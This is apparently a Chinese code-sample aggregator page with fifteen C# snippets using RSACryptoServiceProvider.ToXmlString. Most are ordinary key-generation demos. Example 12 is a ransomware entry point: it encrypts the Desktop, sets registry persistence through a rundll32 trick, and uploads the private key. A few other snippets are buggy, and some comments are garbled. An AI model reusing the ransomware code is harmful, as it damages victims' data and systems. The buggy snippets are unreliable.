本文整理汇总了C#中System.Security.Cryptography.RSACryptoServiceProvider.ToXmlString方法的典型用法代码示例。如果您正苦于以下问题:C# RSACryptoServiceProvider.ToXmlString方法的具体用法?C# RSACryptoServiceProvider.ToXmlString怎么用?C# RSACryptoServiceProvider.ToXmlString使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类System.Security.Cryptography.RSACryptoServiceProvider
的用法示例。
在下文中一共展示了RSACryptoServiceProvider.ToXmlString方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: CreateKeyPair
public static void CreateKeyPair(int keySize, out String publicKey, out String privateKey)
{
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(keySize);
publicKey = rsa.ToXmlString(false);
privateKey = rsa.ToXmlString(true);
}
示例2: RSAengine
public RSAengine()
{
RSACryptoServiceProvider RSA = new RSACryptoServiceProvider(1024);
xmlKeys = RSA.ToXmlString(true);
xmlPublicKeys = RSA.ToXmlString(false);
}
示例3: Form1
/// <summary>
/// 生成指定位数的公钥,私钥
/// </summary>
public Form1()
{
InitializeComponent();
System.Security.Cryptography.RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(1024);
PublicKey = rsa.ToXmlString(true);
PrivateKey = rsa.ToXmlString(true);
}
示例4: Main
static void Main(string[] args)
{
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
string publicKeyXML = rsa.ToXmlString(false);
string privateKeyXML = rsa.ToXmlString(true);
UnicodeEncoding ByteConverter = new UnicodeEncoding();
byte[] dataToEncrypt = ByteConverter.GetBytes("My secret data!");
Console.WriteLine("Encrypting: {0}", ByteConverter.GetString(dataToEncrypt));
byte[] encryptedData;
using (RSACryptoServiceProvider RSA = new RSACryptoServiceProvider())
{
RSA.FromXmlString(publicKeyXML);
encryptedData = RSA.Encrypt(dataToEncrypt, false);
}
Console.WriteLine("Encrypted data: {0}", ByteConverter.GetString(encryptedData));
byte[] decryptedData;
using (RSACryptoServiceProvider RSA = new RSACryptoServiceProvider())
{
RSA.FromXmlString(privateKeyXML);
decryptedData = RSA.Decrypt(encryptedData, false);
}
string decryptedString = ByteConverter.GetString(decryptedData);
Console.WriteLine("Decrypted data: {0}", decryptedString);
Console.WriteLine("Press a key to exit");
Console.ReadKey();
}
示例5: CreateKey
/// <summary>
/// ������˽Կ
/// </summary>
/// <param name="publicKey"></param>
/// <param name="privatekey"></param>
public void CreateKey(out string publicKey, out string privateKey)
{
RSACryptoServiceProvider crypt = new RSACryptoServiceProvider();
publicKey = crypt.ToXmlString(false);
privateKey = crypt.ToXmlString(true);
crypt.Clear();
}
示例6: CreateKeys
/// <summary>
/// ���J���Ɣ閧����쐬���ĕԂ�
/// </summary>
/// <param name="publicKey">�쐬���ꂽ���J��(XML�`��)</param>
/// <param name="privateKey">�쐬���ꂽ�閧��(XML�`��)</param>
static void CreateKeys(out string publicKey, out string privateKey)
{
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
publicKey = rsa.ToXmlString(false);
privateKey = rsa.ToXmlString(true);
}
示例7: Run
public void Run()
{
var _exportKey = new RSACryptoServiceProvider();
string publicKeyXML = _exportKey.ToXmlString(false);
string privateKeyXML = _exportKey.ToXmlString(true);
var ByteConverter = new UnicodeEncoding();
byte[] dataToEncrypt = ByteConverter.GetBytes("My Secret Data!");
byte[] encryptedData;
using (var RSA = new RSACryptoServiceProvider())
{
RSA.FromXmlString(publicKeyXML);
encryptedData = RSA.Encrypt(dataToEncrypt, false);
}
byte[] decryptedData;
using (var RSA = new RSACryptoServiceProvider())
{
RSA.FromXmlString(privateKeyXML);
decryptedData = RSA.Decrypt(encryptedData, false);
}
string decryptedString = ByteConverter.GetString(decryptedData);
Console.WriteLine(decryptedString); // Displays: My Secret Data! }
}
开发者ID:rrsc,项目名称:ProgrammingInCSharp,代码行数:26,代码来源:UsingAPublicAndPrivateKeyToEncryptAndDecryptData.cs
示例8: OpenSNKFileButtonClick
private void OpenSNKFileButtonClick(object sender, EventArgs e)
{
var openFileDialog = new OpenFileDialog
{
Title = "Open your SNK file",
Filter = "Strong Name Key file (*.snk)|*.snk|All Files (*.*)|*.*"
};
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
publicKeyTextBox.Clear();
privateKeyTextBox.Clear();
try
{
var snkBytes = File.ReadAllBytes(openFileDialog.FileName);
using (var provider = new RSACryptoServiceProvider())
{
provider.ImportCspBlob(snkBytes);
publicKeyTextBox.Text = Beautify(provider.ToXmlString(false));
privateKeyTextBox.Text = Beautify(provider.ToXmlString(true));
}
}
catch (Exception exception)
{
MessageBox.Show(exception.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
示例9: Create
/// <summary>Erstellt ein neues Schlüsselpaar mit variabler Schlüsselgröße.</summary>
public static rsaKeyPair Create(int keysize) {
var rsa = new RSACryptoServiceProvider(keysize);
return new rsaKeyPair {
publicKey = rsa.ToXmlString(false),
privateKey = rsa.ToXmlString(true)
};
}
示例10: AssignNewKey
public void AssignNewKey()
{
using (var rsa = new RSACryptoServiceProvider(2048))
{
rsa.PersistKeyInCsp = false;
//in memory
publicKey = rsa.ExportParameters(false);
privateKey = rsa.ExportParameters(true);
return;
//to file
File.WriteAllText(@"C:\git\CryptographyDemo\CryptographyDemo\bin\Debug\public.txt", rsa.ToXmlString(false));
File.WriteAllText(@"C:\git\CryptographyDemo\CryptographyDemo\bin\Debug\private.txt", rsa.ToXmlString(true));
}
//To key container, stored for windows user
const int providerRsaFull = 1;
CspParameters cspParams = new CspParameters(providerRsaFull);
cspParams.KeyContainerName = "TomsContainer";
cspParams.Flags = CspProviderFlags.UseMachineKeyStore;
cspParams.ProviderName = "Microsoft Strong Cryptographic Provider";
var rsa2 = new RSACryptoServiceProvider(cspParams);
rsa2.PersistKeyInCsp = true;
// SHOULD THEN DELETE KEY
}
示例11: GeneratePublicAndPrivateKey
private string GeneratePublicAndPrivateKey()
{
var provider = new RSACryptoServiceProvider(KEY_SIZE);
var keyXml = provider.ToXmlString(true);
PrivateKey = provider.ToXmlString(true);
PublicKey = provider.ToXmlString(false);
/*Example of keyXml var keyXml = new XDocument(provider.ToXmlString(true));
<RSAKeyValue>
<Modulus>j0LR700piG/Ln4qAj1SjGNa+5KSsYPVtEORhEEV/YfyzR0gN8Gcj87jSxm7GW3Q86xSLkwlAQGqKFnFa3npEsq65wOuybuyXhL+7lsPsSsYseYpYzZPi2YFPuKmCRddDf5vJpHUUaG16Ph/jXjPEJu0wc1fbVAwwqfUF6wb4Eqc=</Modulus>
<Exponent>AQAB</Exponent>
<P>x6/NbOJqCy+u9Q8qTZCouCNcyqC94M/liPJEajTikrYE7ubbZS9mGeK+HmExGw7QsIsBVd9Ale9CZzoP9kFW8w==</P>
<Q>t6lqciz6m2PE7j6Tlc63lmj9yxp6egilZS5/yDy+y+5CQcO9yUtwX/5C74bK3EyKeUVwTJpWj5KtjXC0PLBqfQ==</Q>
<DP>IrB2tliq5WCWOzo0Nh9QQBTclNLRyZE0JdM4cV7YkXYPa1Utfel7CjoqnupxdmrfdBvh0oIjHSjgV0Bt73CwYw==</DP>
<DQ>DzkDkaMYwnhqgjS9ltUjclwRbRwsuqCs1M4d2ULvrYd6Bmlq+Zw/HDW+5ouNlOTjNVoEDNVeB1ho+ig1SDJ3IQ==</DQ>
<InverseQ>aqU5iieeb8cWSOlKiOvTQAiRJjDQxVehb8n/Gs9lTTasBi5jDiqdhzcR9k2MkV9zeVfn31atx/wkRGMf9MCqyQ==</InverseQ>
<D>M5smdMWfCH79IuOJnBgpCHGTIloPnn3KZCNgs7PVRz74dd0G6Gq/ELSreL++xIMCzsv/21+hvZKjW6JJ0YrJ4+nlJHlg4fqGzGwbRdzd5jhhfcUwXujFRbjPWVDqtdSdxn0QGce82k6eDNnFbIXGWmBu3S6xnpKarnYiX8JQ5EE=</D>
</RSAKeyValue>
*/
/* var keyXml = new XDocument(provider.ToXmlString(false));
<BitStrength>1024</BitStrength>
<RSAKeyValue>
<Modulus>j0LR700piG/Ln4qAj1SjGNa+5KSsYPVtEORhEEV/YfyzR0gN8Gcj87jSxm7GW3Q86xSLkwlAQGqKFnFa3npEsq65wOuybuyXhL+7lsPsSsYseYpYzZPi2YFPuKmCRddDf5vJpHUUaG16Ph/jXjPEJu0wc1fbVAwwqfUF6wb4Eqc=</Modulus>
<Exponent>AQAB</Exponent>
</RSAKeyValue>
*/
return keyXml;
}
示例12: Main
static void Main(string[] arg)
{
Boolean bCreatedNew;
Mutex m = new Mutex(false, "cuteRansomware", out bCreatedNew);
m.WaitOne();
GC.Collect();
if (!bCreatedNew) return;
m.ReleaseMutex();
System.Threading.Thread.CurrentThread.Priority = System.Threading.ThreadPriority.Highest;
Byte[] myKey = AES.generateKey();
RSACryptoServiceProvider RSAObj = new RSACryptoServiceProvider();
File.WriteAllText("sendBack.txt", RSAObj.ToXmlString(true));
File.WriteAllText("secret.txt", RSAObj.ToXmlString(false));
File.WriteAllBytes("secretAES.txt", RSAObj.Encrypt(myKey, false));
var rundll32Exploit = @"javascript:""\..\mshtml,RunHTMLApplication "";document.write();shell=new%20ActiveXObject(""wscript.shell"");shell.regwrite(""HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\adr"",""" + Application.ExecutablePath.Replace(@"\", @"\\") + @""");";
//System.Diagnostics.Process.Start("rundll32.exe", rundll32Exploit); <-- 引起防毒誤判為MSIL類型病毒
ShellExecute(IntPtr.Zero, "open", "rundll32.exe", rundll32Exploit, "", ShowCommands.SW_HIDE);
encryptAll(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), myKey);
NameValueCollection nc = new NameValueCollection();
nc["pc"] = Environment.MachineName;
nc["rsa"] = RSAObj.ToXmlString(true);
new WebClient().UploadValues("data recive", nc);
}
示例13: Assign
public void Assign()
{
// AssignParameter();
RSA = new RSACryptoServiceProvider(1024);
if (File.Exists(@"C:\Users\Chris\Documents\Cambridge\Part II Project\Code\Encryption Example\EncryptionExample\privatekey.xml") == true)
File.Delete(@"C:\Users\Chris\Documents\Cambridge\Part II Project\Code\Encryption Example\EncryptionExample\privatekey.xml");
if (File.Exists(@"C:\Users\Chris\Documents\Cambridge\Part II Project\Code\Encryption Example\EncryptionExample\publickey.xml") == true)
File.Delete(@"C:\Users\Chris\Documents\Cambridge\Part II Project\Code\Encryption Example\EncryptionExample\publickey.xml");
//provide public and private RSA params
FileStream fs = new FileStream(@"C:\Users\Chris\Documents\Cambridge\Part II Project\Code\Encryption Example\EncryptionExample\privatekey.xml", FileMode.CreateNew, FileAccess.ReadWrite);
StreamWriter sw = new StreamWriter(fs);
string publicPrivateKeyXML = RSA.ToXmlString(true);
sw.Write(publicPrivateKeyXML);
sw.Close();
fs.Close();
FileStream fs2 = new FileStream(@"C:\Users\Chris\Documents\Cambridge\Part II Project\Code\Encryption Example\EncryptionExample\publickey.xml", FileMode.CreateNew, FileAccess.ReadWrite);
StreamWriter sw2 = new StreamWriter(fs2);
string publicOnlyKeyXML = RSA.ToXmlString(false);
sw2.Write(publicOnlyKeyXML);
sw2.Close();
fs2.Close();
}
示例14: GenerateKeyPair
public static void GenerateKeyPair()
{
var csp = new RSACryptoServiceProvider(2048);
//how to get the private key
var privKey = csp.ToXmlString(true);
//and the public key ...
var pubKey = csp.ToXmlString(false);
var v1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(privKey));
var v2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(pubKey));
string pubKeyString;
string privateKeyString;
{
//we need some buffer
var sw = new System.IO.StringWriter();
//we need a serializer
var xs = new System.Xml.Serialization.XmlSerializer(typeof(RSAParameters));
//serialize the key into the stream
xs.Serialize(sw, pubKey);
//get the string from the stream
pubKeyString = sw.ToString();
sw = new System.IO.StringWriter();
xs = new System.Xml.Serialization.XmlSerializer(typeof(RSAParameters));
xs.Serialize(sw, privKey);
privateKeyString = sw.ToString();
}
}
示例15: GenerateKeypair
public KeyPair GenerateKeypair(EncryptionType encryption)
{
int modulus;
switch (encryption)
{
case EncryptionType.RSA_512:
modulus = 512;
break;
case EncryptionType.RSA_1024:
modulus = 1024;
break;
case EncryptionType.RSA_1536:
modulus = 1536;
break;
case EncryptionType.RSA_2048:
modulus = 2048;
break;
case EncryptionType.RSA_4096:
modulus = 4096;
break;
default:
throw new ArgumentException("encryption");
}
KeyPair kp = null;
using (var rsa = new RSACryptoServiceProvider(modulus))
{
try
{
var privParams = rsa.ExportParameters(true);
var pubParams = rsa.ExportParameters(false);
var privBlob = rsa.ToXmlString(true);
var pubBlob = rsa.ToXmlString(false);
kp = new KeyPair
{
PrivKey = privBlob,
PubKey = pubBlob
};
}
catch (Exception)
{
throw;
}
finally
{
rsa.PersistKeyInCsp = false;
}
}
return kp;
}